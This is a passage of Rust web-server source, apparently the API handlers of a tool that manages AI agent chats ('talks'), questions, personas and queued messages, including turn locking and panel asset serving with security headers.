5806 (Some(c), None) => Answer::Choice(c),
5807 (None, Some(t)) => Answer::Text(t),
5808 (Some(_), Some(_)) => {
5809 return Err(ApiError::bad_request(
5810 "send either `choice` or `text`, not both",
5811 ));
5812 }
5813 (None, None) => {
5814 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5815 }
5816 };
5817
5818 blocking(move || {
5819 let id = resolve_question(&ui.questions, &id)?;
5820 let q = ui
5821 .questions
5822 .get(&id)
5823 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5824 if !q.status.open() {
5825 return Err(ApiError::conflict(format!(
5829 "question {} is already {}",
5830 q.short(),
5831 q.status.as_str()
5832 )));
5833 }
5834 let (q, ()) = ui
5838 .questions
5839 .update(&q.id, |r| r.answer(answer))
5840 .map_err(ApiError::bad_request_from)?;
5841 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5842 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5843 Ok(Json(
5844 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5845 ))
5846 })
5847 .await
5848}
5849
5850#[derive(Debug, Deserialize)]
5852#[serde(deny_unknown_fields)]
5853struct NewSay {
5854 body: String,
5855}
5856
5857async fn question_say(
5867 State(ui): State<Arc<Ui>>,
5868 Path(id): Path<String>,
5869 body: std::result::Result<Json<NewSay>, JsonRejection>,
5870) -> ApiResult<Json<QuestionView>> {
5871 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5872 blocking(move || {
5873 let id = resolve_question(&ui.questions, &id)?;
5874 let q = ui
5875 .questions
5876 .get(&id)
5877 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5878 if !q.status.open() {
5879 return Err(ApiError::conflict(format!(
5883 "question {} is already {}",
5884 q.short(),
5885 q.status.as_str()
5886 )));
5887 }
5888 let (q, ()) = ui
5891 .questions
5892 .update(&q.id, |r| r.say(body.body))
5893 .map_err(ApiError::bad_request_from)?;
5894 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5895 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5896 Ok(Json(
5897 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5898 ))
5899 })
5900 .await
5901}
5902
5903async fn question_consult(
5912 State(ui): State<Arc<Ui>>,
5913 Path(id): Path<String>,
5914) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5915 let (view, reclaimed) = blocking({
5916 let ui = Arc::clone(&ui);
5917 move || {
5918 let id = resolve_question(&ui.questions, &id)?;
5919 let q = ui
5920 .questions
5921 .get(&id)
5922 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5923 if !q.status.open() {
5924 return Err(ApiError::conflict(format!(
5925 "question {} is already {}",
5926 q.short(),
5927 q.status.as_str()
5928 )));
5929 }
5930 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5931 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5932 return Err(ApiError::conflict(format!(
5933 "question {} has no chat to ask",
5934 q.short()
5935 )));
5936 };
5937 let cfg = if q.consult.is_none() {
5941 Some(Config::discover(&talk.repo, None)?.0)
5942 } else {
5943 None
5944 };
5945 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5946 let claim = if fresh {
5947 match ui.begin_queued_talk_turn(&talk.id)? {
5948 Some(turn_guard) => {
5949 let talk = ui.talks.get(&talk.id)?;
5950 let cfg = match cfg {
5951 Some(cfg) => cfg,
5952 None => Config::discover(&talk.repo, None)?.0,
5953 };
5954 Some((talk, cfg, turn_guard))
5955 }
5956 None => None,
5957 }
5958 } else {
5959 None
5960 };
5961 let q = ui.questions.get(&q.id)?;
5962 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5963 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5964 Ok((view, claim))
5965 }
5966 })
5967 .await?;
5968 if let Some((talk, cfg, turn_guard)) = reclaimed {
5969 let talks = ui.talks.clone();
5970 let id = talk.id.clone();
5971 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5972 }
5973 Ok((StatusCode::ACCEPTED, Json(view)))
5974}
5975
5976fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5978 if store.path_of(id).is_file() {
5979 return Ok(id.to_owned());
5980 }
5981 pick(
5982 store.list().into_iter().map(|q| q.id).collect(),
5983 id,
5984 "question",
5985 )
5986}
5987
5988async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6003 blocking(move || {
6004 let id = resolve_question(&ui.questions, &id)?;
6005 let Some(html) = ui.questions.panel_html(&id) else {
6006 return Err(ApiError::not_found(format!("question {id} has no panel")));
6007 };
6008 Ok(panel_response(
6009 "text/html; charset=utf-8",
6010 false,
6011 html.into_bytes(),
6012 ))
6013 })
6014 .await
6015}
6016
6017async fn question_asset(
6045 State(ui): State<Arc<Ui>>,
6046 Path((id, name)): Path<(String, String)>,
6047) -> ApiResult<Response> {
6048 if !crate::ask::valid_asset_name(&name) {
6051 return Err(ApiError::bad_request(format!(
6052 "`{name}` is not a usable asset name"
6053 )));
6054 }
6055 blocking(move || {
6056 let id = resolve_question(&ui.questions, &id)?;
6057 let asset = ui
6058 .questions
6059 .panel_asset(&id, &name)
6060 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6061 let Some(bytes) = asset else {
6062 return Err(ApiError::not_found(format!(
6063 "question {id} has no asset `{name}`"
6064 )));
6065 };
6066 Ok(panel_response(
6067 asset_content_type(&name),
6068 is_svg(&name),
6069 bytes,
6070 ))
6071 })
6072 .await
6073}
6074
6075fn asset_content_type(name: &str) -> &'static str {
6088 match extension(name).as_deref() {
6089 Some("png") => "image/png",
6090 Some("jpg" | "jpeg") => "image/jpeg",
6091 Some("gif") => "image/gif",
6092 Some("webp") => "image/webp",
6093 Some("svg") => "image/svg+xml",
6094 Some("css") => "text/css; charset=utf-8",
6095 Some("txt") => "text/plain; charset=utf-8",
6096 _ => "application/octet-stream",
6097 }
6098}
6099
6100fn is_svg(name: &str) -> bool {
6103 extension(name).as_deref() == Some("svg")
6104}
6105
6106fn extension(name: &str) -> Option<String> {
6108 name.rsplit_once('.')
6109 .map(|(_, ext)| ext.to_ascii_lowercase())
6110}
6111
6112fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6129 let mut res = (
6130 [
6131 (header::CONTENT_TYPE, content_type),
6132 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6133 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6134 (header::REFERRER_POLICY, "no-referrer"),
6135 ],
6136 body,
6137 )
6138 .into_response();
6139 if download {
6140 res.headers_mut().insert(
6141 header::CONTENT_DISPOSITION,
6142 HeaderValue::from_static("attachment"),
6143 );
6144 }
6145 res
6146}
6147
6148#[derive(Debug, Serialize)]
6154struct TalkView {
6155 #[serde(flatten)]
6156 talk: Talk,
6157 turn_bodies_md: Vec<Vec<md::Node>>,
6158 thinking: bool,
6166 context: talk::ContextUsage,
6170 operator_name: Option<String>,
6173 persona_name: Option<String>,
6175}
6176
6177impl TalkView {
6178 fn new(talk: Talk, thinking: bool) -> Self {
6181 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6182 Self::with_config(talk, thinking, cfg.as_ref())
6183 }
6184
6185 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6188 let context = talk::context_usage(&talk, cfg);
6189 let turn_bodies_md = talk
6190 .turns
6191 .iter()
6192 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6193 .collect();
6194 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6195 let persona_name = persona::find(specs, &talk.persona)
6196 .filter(|p| !p.is_default())
6197 .map(|p| p.name);
6198 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6199 Self {
6200 turn_bodies_md,
6201 thinking,
6202 context,
6203 operator_name,
6204 persona_name,
6205 talk,
6206 }
6207 }
6208}
6209
6210#[derive(Debug, Serialize)]
6215struct TalkDetailView {
6216 #[serde(flatten)]
6217 view: TalkView,
6218 tasks: Vec<TaskView>,
6219 roster: Vec<RosterEntry>,
6222 personas: Vec<PersonaEntry>,
6225}
6226
6227#[derive(Debug, Serialize)]
6229struct PersonaEntry {
6230 id: String,
6231 name: String,
6232}
6233
6234#[derive(Debug, Serialize)]
6236struct RosterEntry {
6237 id: String,
6238 kind: AgentKind,
6239 runnable: bool,
6241}
6242
6243async fn talks_list(
6248 State(ui): State<Arc<Ui>>,
6249 Query(q): Query<ListQuery>,
6250) -> ApiResult<Json<Vec<TalkView>>> {
6251 blocking(move || {
6252 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6253 Ok(Json(
6254 ui.talks
6255 .list()
6256 .into_iter()
6257 .filter(|talk| q.contains(&talk.id))
6258 .map(|talk| {
6259 let thinking = ui.is_thinking(&talk.id);
6260 let cfg = configs
6261 .entry(talk.repo.clone())
6262 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6263 TalkView::with_config(talk, thinking, cfg.as_ref())
6264 })
6265 .collect(),
6266 ))
6267 })
6268 .await
6269}
6270
6271#[derive(Debug, Default, Deserialize)]
6276#[serde(default)]
6277struct NewTalk {
6278 agent: Option<String>,
6279 repo: Option<PathBuf>,
6280}
6281
6282async fn talk_post(
6285 State(ui): State<Arc<Ui>>,
6286 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6287) -> ApiResult<impl IntoResponse> {
6288 let body = match body {
6292 Ok(Json(body)) => body,
6293 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6294 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6295 };
6296 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6297 let cfg = config_for(&repo).await?;
6298 let view = blocking(move || {
6299 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6300 let thinking = ui.is_thinking(&talk.id);
6301 Ok(TalkView::new(talk, thinking))
6302 })
6303 .await?;
6304 Ok((StatusCode::CREATED, Json(view)))
6305}
6306
6307async fn talk_detail(
6309 State(ui): State<Arc<Ui>>,
6310 Path(id): Path<String>,
6311) -> ApiResult<Json<TalkDetailView>> {
6312 blocking(move || {
6313 let id = resolve_talk(&ui.talks, &id)?;
6314 let talk = ui.talks.get(&id)?;
6315 let thinking = ui.is_thinking(&talk.id);
6316 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6317 .into_iter()
6318 .map(TaskView::from)
6319 .collect();
6320 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6321 let roster = cfg
6322 .as_ref()
6323 .map(|cfg| {
6324 cfg.agents
6325 .iter()
6326 .map(|a| RosterEntry {
6327 id: a.id.clone(),
6328 kind: a.kind,
6329 runnable: agent::installed(a),
6330 })
6331 .collect()
6332 })
6333 .unwrap_or_default();
6334 let specs = cfg
6335 .as_ref()
6336 .map(|cfg| cfg.talk.personas.clone())
6337 .unwrap_or_default();
6338 let personas = persona::catalog(&specs)
6339 .into_iter()
6340 .map(|p| PersonaEntry {
6341 id: p.id,
6342 name: p.name,
6343 })
6344 .collect();
6345 Ok(Json(TalkDetailView {
6346 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6347 tasks,
6348 roster,
6349 personas,
6350 }))
6351 })
6352 .await
6353}
6354
6355#[derive(Debug, Default, Deserialize)]
6361#[serde(default, deny_unknown_fields)]
6362struct NewTalkTurn {
6363 text: String,
6364 attachments: Vec<String>,
6365}
6366
6367#[derive(Debug, Deserialize)]
6368#[serde(deny_unknown_fields)]
6369struct EditTalkPending {
6370 text: String,
6371 expected_text: String,
6372 expected_attachments: Vec<String>,
6373}
6374
6375#[derive(Debug, Deserialize)]
6376#[serde(deny_unknown_fields)]
6377struct ClearTalkPending {
6378 expected_text: String,
6379 expected_attachments: Vec<String>,
6380}
6381
6382async fn talk_say(
6394 State(ui): State<Arc<Ui>>,
6395 Path(id): Path<String>,
6396 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6397) -> ApiResult<(StatusCode, Json<TalkView>)> {
6398 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6399 if body.text.trim().is_empty() && body.attachments.is_empty() {
6400 return Err(ApiError::bad_request("say something"));
6401 }
6402
6403 let id = {
6404 let ui = Arc::clone(&ui);
6405 let asked = id.clone();
6406 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6407 };
6408 {
6412 let ui = Arc::clone(&ui);
6413 let id = id.clone();
6414 blocking(move || {
6415 let talk = ui.talks.get(&id)?;
6416 if !talk.status.open() {
6417 return Err(ApiError::conflict(format!(
6418 "talk {} is {} and takes no more turns",
6419 talk.short(),
6420 talk.status.as_str()
6421 )));
6422 }
6423 Ok(())
6424 })
6425 .await?;
6426 }
6427
6428 let attachments = {
6433 let ui = Arc::clone(&ui);
6434 let id = id.clone();
6435 let ids = body.attachments.clone();
6436 blocking(move || {
6437 ids.into_iter()
6438 .map(|att_id| {
6439 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6440 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6441 })
6442 })
6443 .collect::<ApiResult<Vec<talk::Attachment>>>()
6444 })
6445 .await?
6446 };
6447
6448 let start = {
6453 let ui = Arc::clone(&ui);
6454 let id = id.clone();
6455 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6456 };
6457 let turn_guard = match start {
6458 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6459 TalkTurnStart::Pending => {
6460 return Err(ApiError::conflict(
6461 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6462 ));
6463 }
6464 TalkTurnStart::Foreign => {
6465 return Err(ApiError::conflict(
6466 "a turn is already running in another process; try again when it has finished",
6467 ));
6468 }
6469 TalkTurnStart::Busy => {
6470 let (tx, rx) = tokio::sync::oneshot::channel();
6486 tokio::spawn({
6487 let ui = Arc::clone(&ui);
6488 let id = id.clone();
6489 let said = body.text.clone();
6490 async move {
6491 let written = blocking({
6492 let ui = Arc::clone(&ui);
6493 let id = id.clone();
6494 move || {
6495 let mut talk = ui.talks.get(&id)?;
6496 #[cfg(test)]
6501 if let Some(gate) = ui
6502 .busy_queue_gate
6503 .lock()
6504 .unwrap_or_else(PoisonError::into_inner)
6505 .take()
6506 {
6507 let _ = gate.reached.send(());
6508 let _ = gate.release.recv();
6509 }
6510 if let Err(error) =
6511 talk::queue(&mut talk, &ui.talks, &said, attachments)
6512 {
6513 if let Ok(fresh) = ui.talks.get(&id) {
6514 if !fresh.status.open() {
6515 return Err(ApiError::conflict(format!(
6516 "talk {} is {} and takes no more turns",
6517 fresh.short(),
6518 fresh.status.as_str()
6519 )));
6520 }
6521 }
6522 return Err(ApiError::from(error));
6523 }
6524 let claim = match ui.begin_queued_talk_turn(&id)? {
6535 Some(turn_guard) => {
6536 let (cfg, _) = Config::discover(&talk.repo, None)?;
6537 Some((talk.clone(), cfg, turn_guard))
6538 }
6539 None => None,
6540 };
6541 let thinking = ui.is_thinking(&id);
6542 Ok((TalkView::new(talk, thinking), claim))
6543 }
6544 })
6545 .await;
6546 let (view, reclaimed) = match written {
6547 Ok(pair) => pair,
6548 Err(e) => {
6549 let _ = tx.send(Err(e));
6554 return;
6555 }
6556 };
6557 let _ = tx.send(Ok(view));
6560 if let Some((talk, cfg, turn_guard)) = reclaimed {
6561 let talks = ui.talks.clone();
6562 drain_loop(talk, talks, cfg, id, turn_guard).await;
6563 }
6564 }
6565 });
6566 let view = rx
6567 .await
6568 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6569 return Ok((StatusCode::ACCEPTED, Json(view)));
6570 }
6571 };
6572
6573 let (talk, cfg) = {
6574 let ui = Arc::clone(&ui);
6575 let id = id.clone();
6576 blocking(move || {
6577 let talk = ui.talks.get(&id)?;
6578 let (cfg, _) = Config::discover(&talk.repo, None)?;
6579 Ok((talk, cfg))
6580 })
6581 .await?
6582 };
6583
6584 let talks = ui.talks.clone();
6585 let (tx, rx) = tokio::sync::oneshot::channel();
6600 tokio::spawn({
6601 let ui = Arc::clone(&ui);
6602 let talks = talks.clone();
6603 let id = id.clone();
6604 let said = body.text.clone();
6605 let mut talk = talk.clone();
6606 async move {
6607 let recorded = blocking({
6608 let talks = talks.clone();
6609 move || {
6610 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6611 if let Ok(fresh) = talks.get(&talk.id) {
6612 if !fresh.status.open() {
6613 return Err(ApiError::conflict(format!(
6614 "talk {} is {} and takes no more turns",
6615 fresh.short(),
6616 fresh.status.as_str()
6617 )));
6618 }
6619 }
6620 return Err(ApiError::from(error));
6621 }
6622 Ok((said.trim().to_owned(), talk))
6628 }
6629 })
6630 .await;
6631 let (text, mut talk) = match recorded {
6632 Ok(pair) => pair,
6633 Err(e) => {
6634 let _ = tx.send(Err(e));
6638 return;
6639 }
6640 };
6641 let queued = talk.clone();
6642 let thinking = ui.is_thinking(&id);
6643 let _ = tx.send(Ok((queued, thinking)));
6646
6647 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6648 tracing::warn!("talk {id} turn failed: {e:#}");
6652 }
6653 drain_loop(talk, talks, cfg, id, turn_guard).await;
6656 }
6657 });
6658
6659 let (queued, thinking) = rx
6660 .await
6661 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6662
6663 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6665}
6666
6667async fn talk_pending_resume(
6671 State(ui): State<Arc<Ui>>,
6672 Path(id): Path<String>,
6673) -> ApiResult<(StatusCode, Json<TalkView>)> {
6674 let id = {
6675 let ui = Arc::clone(&ui);
6676 let asked = id.clone();
6677 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6678 };
6679 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6680 return Err(ApiError::conflict(
6681 "a talk turn is already running; the queued draft will be handled by it",
6682 ));
6683 };
6684 let (talk, cfg) = {
6685 let ui = Arc::clone(&ui);
6686 let id = id.clone();
6687 blocking(move || {
6688 let talk = ui.talks.get(&id)?;
6689 if !talk.status.open() {
6690 return Err(ApiError::conflict(format!(
6691 "talk {} is {} and takes no more turns",
6692 talk.short(),
6693 talk.status.as_str()
6694 )));
6695 }
6696 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6697 return Err(ApiError::conflict("there is no queued draft to resume"));
6698 }
6699 let (cfg, _) = Config::discover(&talk.repo, None)?;
6700 Ok((talk, cfg))
6701 })
6702 .await?
6703 };
6704 let view = TalkView::new(talk.clone(), true);
6705 let talks = ui.talks.clone();
6706 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6707 Ok((StatusCode::ACCEPTED, Json(view)))
6708}
6709
6710async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6726 let live_set = Arc::clone(&turn.turns);
6727 let mut turn = Some(turn);
6735 loop {
6736 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6737 tracing::warn!("talk {id} lost its turn lease; not draining further");
6740 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6741 if let Some(turn) = turn.take() {
6742 turn.release(&mut live);
6743 }
6744 break;
6745 }
6746 {
6747 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6750 if live.parking {
6751 if let Some(turn) = turn.take() {
6752 turn.release(&mut live);
6753 }
6754 break;
6755 }
6756 }
6757 let observed = live_set
6761 .lock()
6762 .unwrap_or_else(PoisonError::into_inner)
6763 .queued
6764 .get(&id)
6765 .copied()
6766 .unwrap_or(0);
6767 let drained = blocking({
6768 let talks = talks.clone();
6769 let live_set = Arc::clone(&live_set);
6770 move || {
6771 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6776 let result = if live.parking {
6777 Ok(None)
6778 } else {
6779 talk::drain(&mut talk, &talks)
6780 };
6781 drop(live);
6782 Ok((talk, result))
6783 }
6784 })
6785 .await;
6786 let (next_talk, result) = match drained {
6787 Ok(drained) => drained,
6788 Err(e) => {
6789 tracing::warn!(
6790 status = %e.status,
6791 message = %e.message,
6792 "talk {id} could not start queued-text drain"
6793 );
6794 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6795 turn.take()
6796 .expect("held for the whole loop until released here")
6797 .release(&mut live);
6798 break;
6799 }
6800 };
6801 talk = next_talk;
6802 let drained = match result {
6803 Ok(Some(drained)) => drained,
6804 Ok(None) => {
6805 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6806 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6807 continue;
6808 }
6809 turn.take()
6810 .expect("held for the whole loop until released here")
6811 .release(&mut live);
6812 break;
6813 }
6814 Err(e) => {
6815 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6816 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6817 turn.take()
6818 .expect("held for the whole loop until released here")
6819 .release(&mut live);
6820 break;
6821 }
6822 };
6823 let responded = match turn.as_ref() {
6824 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6825 None => Err(anyhow::anyhow!("the turn guard was released")),
6826 };
6827 if let Err(e) = responded {
6828 tracing::warn!("talk {id} turn failed: {e:#}");
6829 }
6830 }
6831}
6832
6833async fn talk_pending_clear(
6835 State(ui): State<Arc<Ui>>,
6836 Path(id): Path<String>,
6837 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6838) -> ApiResult<Json<TalkView>> {
6839 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6840 blocking(move || {
6841 let id = resolve_talk(&ui.talks, &id)?;
6842 let mut talk = ui.talks.get(&id)?;
6843 if !talk.status.open() {
6844 return Err(ApiError::conflict(format!(
6845 "talk {} is {} and takes no more turns",
6846 talk.short(),
6847 talk.status.as_str()
6848 )));
6849 }
6850 if !talk::clear_pending_if_matches(
6851 &mut talk,
6852 &ui.talks,
6853 &body.expected_text,
6854 &body.expected_attachments,
6855 )? {
6856 return Err(ApiError::conflict(
6857 "queued message changed; reload it before clearing",
6858 ));
6859 }
6860 let thinking = ui.is_thinking(&talk.id);
6861 Ok(Json(TalkView::new(talk, thinking)))
6862 })
6863 .await
6864}
6865
6866async fn talk_pending_edit(
6870 State(ui): State<Arc<Ui>>,
6871 Path(id): Path<String>,
6872 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6873) -> ApiResult<Json<TalkView>> {
6874 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6875 let (view, reclaimed) = blocking({
6876 let ui = Arc::clone(&ui);
6877 move || {
6878 let id = resolve_talk(&ui.talks, &id)?;
6879 let mut talk = ui.talks.get(&id)?;
6880 if !talk.status.open() {
6881 return Err(ApiError::conflict(format!(
6882 "talk {} is {} and takes no more turns",
6883 talk.short(),
6884 talk.status.as_str()
6885 )));
6886 }
6887 if !talk::edit_pending_text(
6888 &mut talk,
6889 &ui.talks,
6890 &body.text,
6891 &body.expected_text,
6892 &body.expected_attachments,
6893 )? {
6894 return Err(ApiError::conflict(
6895 "queued message changed; reload it before editing",
6896 ));
6897 }
6898 let claim = match ui.begin_queued_talk_turn(&id)? {
6899 Some(turn_guard) => {
6900 let (cfg, _) = Config::discover(&talk.repo, None)?;
6901 Some((talk.clone(), cfg, id.clone(), turn_guard))
6902 }
6903 None => None,
6904 };
6905 let thinking = ui.is_thinking(&id);
6906 Ok((TalkView::new(talk, thinking), claim))
6907 }
6908 })
6909 .await?;
6910 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6911 let talks = ui.talks.clone();
6912 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6913 }
6914 Ok(Json(view))
6915}
6916
6917#[derive(Debug, Deserialize)]
6919struct TalkAgent {
6920 agent: String,
6921}
6922
6923async fn talk_agent(
6928 State(ui): State<Arc<Ui>>,
6929 Path(id): Path<String>,
6930 Json(body): Json<TalkAgent>,
6931) -> ApiResult<Json<TalkView>> {
6932 let id = {
6933 let ui = Arc::clone(&ui);
6934 blocking(move || resolve_talk(&ui.talks, &id)).await?
6935 };
6936 let repo = {
6937 let ui = Arc::clone(&ui);
6938 let id = id.clone();
6939 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6940 };
6941 let cfg = config_for(&repo).await?;
6942 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6943 return Err(ApiError::conflict(
6944 "a talk turn is running; change the agent once it has answered",
6945 ));
6946 };
6947 let switched = {
6948 let ui = Arc::clone(&ui);
6949 let id = id.clone();
6950 let cfg = cfg.clone();
6951 blocking(move || {
6952 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6953 .map_err(ApiError::bad_request_from)?;
6954 let mut talk = ui.talks.get(&id)?;
6955 if !talk.status.open() {
6956 return Err(ApiError::conflict(format!(
6957 "talk {} is {} and takes no more turns",
6958 talk.short(),
6959 talk.status.as_str()
6960 )));
6961 }
6962 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6963 Ok(talk)
6964 })
6965 .await
6966 };
6967 let fresh = {
6972 let ui = Arc::clone(&ui);
6973 let id = id.clone();
6974 blocking(move || Ok(ui.talks.get(&id)?)).await
6975 };
6976 let draining = match fresh {
6977 Ok(talk) => {
6978 let draining = talk.status.open()
6979 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6980 let talks = ui.talks.clone();
6981 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6982 draining
6983 }
6984 Err(_) => false,
6985 };
6986 let talk = switched?;
6987 Ok(Json(TalkView::new(talk, draining)))
6988}
6989
6990#[derive(Debug, Deserialize)]
6992struct TalkPersona {
6993 persona: String,
6994}
6995
6996async fn talk_persona(
7000 State(ui): State<Arc<Ui>>,
7001 Path(id): Path<String>,
7002 Json(body): Json<TalkPersona>,
7003) -> ApiResult<Json<TalkView>> {
7004 let id = {
7005 let ui = Arc::clone(&ui);
7006 blocking(move || resolve_talk(&ui.talks, &id)).await?
7007 };
7008 let repo = {
7009 let ui = Arc::clone(&ui);
7010 let id = id.clone();
7011 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7012 };
7013 let cfg = config_for(&repo).await?;
7014 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7015 return Err(ApiError::conflict(
7016 "a talk turn is running; change the persona once it has answered",
7017 ));
7018 };
7019 let switched = {
7020 let ui = Arc::clone(&ui);
7021 let id = id.clone();
7022 let cfg = cfg.clone();
7023 blocking(move || {
7024 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7025 return Err(ApiError::bad_request(format!(
7026 "unknown persona `{}`",
7027 body.persona
7028 )));
7029 };
7030 let mut talk = ui.talks.get(&id)?;
7031 if !talk.status.open() {
7032 return Err(ApiError::conflict(format!(
7033 "talk {} is {} and takes no more turns",
7034 talk.short(),
7035 talk.status.as_str()
7036 )));
7037 }
7038 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7039 Ok(talk)
7040 })
7041 .await
7042 };
7043 let fresh = {
7045 let ui = Arc::clone(&ui);
7046 let id = id.clone();
7047 blocking(move || Ok(ui.talks.get(&id)?)).await
7048 };
7049 let draining = match fresh {
7050 Ok(talk) => {
7051 let draining = talk.status.open()
7052 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7053 let talks = ui.talks.clone();
7054 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7055 draining
7056 }
7057 Err(_) => false,
7058 };
7059 let talk = switched?;
7060 Ok(Json(TalkView::new(talk, draining)))
7061}
7062
7063#[derive(Debug, Deserialize)]
7065struct TalkImplementers {
7066 implementers: u8,
7067}
7068
7069async fn talk_implementers(
7073 State(ui): State<Arc<Ui>>,
7074 Path(id): Path<String>,
7075 Json(body): Json<TalkImplementers>,
7076) -> ApiResult<Json<TalkView>> {
7077 let id = {
7078 let ui = Arc::clone(&ui);
7079 blocking(move || resolve_talk(&ui.talks, &id)).await?
7080 };
7081 let repo = {
7082 let ui = Arc::clone(&ui);
7083 let id = id.clone();
7084 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7085 };
7086 let cfg = config_for(&repo).await?;
7087 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7088 return Err(ApiError::conflict(
7089 "a talk turn is running; change the implementers once it has answered",
7090 ));
7091 };
7092 let switched = {
7093 let ui = Arc::clone(&ui);
7094 let id = id.clone();
7095 let cfg = cfg.clone();
7096 blocking(move || {
7097 let chosen =
7098 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7099 let mut talk = ui.talks.get(&id)?;
7100 if !talk.status.open() {
7101 return Err(ApiError::conflict(format!(
7102 "talk {} is {} and takes no more turns",
7103 talk.short(),
7104 talk.status.as_str()
7105 )));
7106 }
7107 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7108 Ok(talk)
7109 })
7110 .await
7111 };
7112 let fresh = {
7114 let ui = Arc::clone(&ui);
7115 let id = id.clone();
7116 blocking(move || Ok(ui.talks.get(&id)?)).await
7117 };
7118 let draining = match fresh {
7119 Ok(talk) => {
7120 let draining = talk.status.open()
7121 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7122 let talks = ui.talks.clone();
7123 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7124 draining
7125 }
7126 Err(_) => false,
7127 };
7128 let talk = switched?;
7129 Ok(Json(TalkView::new(talk, draining)))
7130}
7131
7132async fn talk_close(
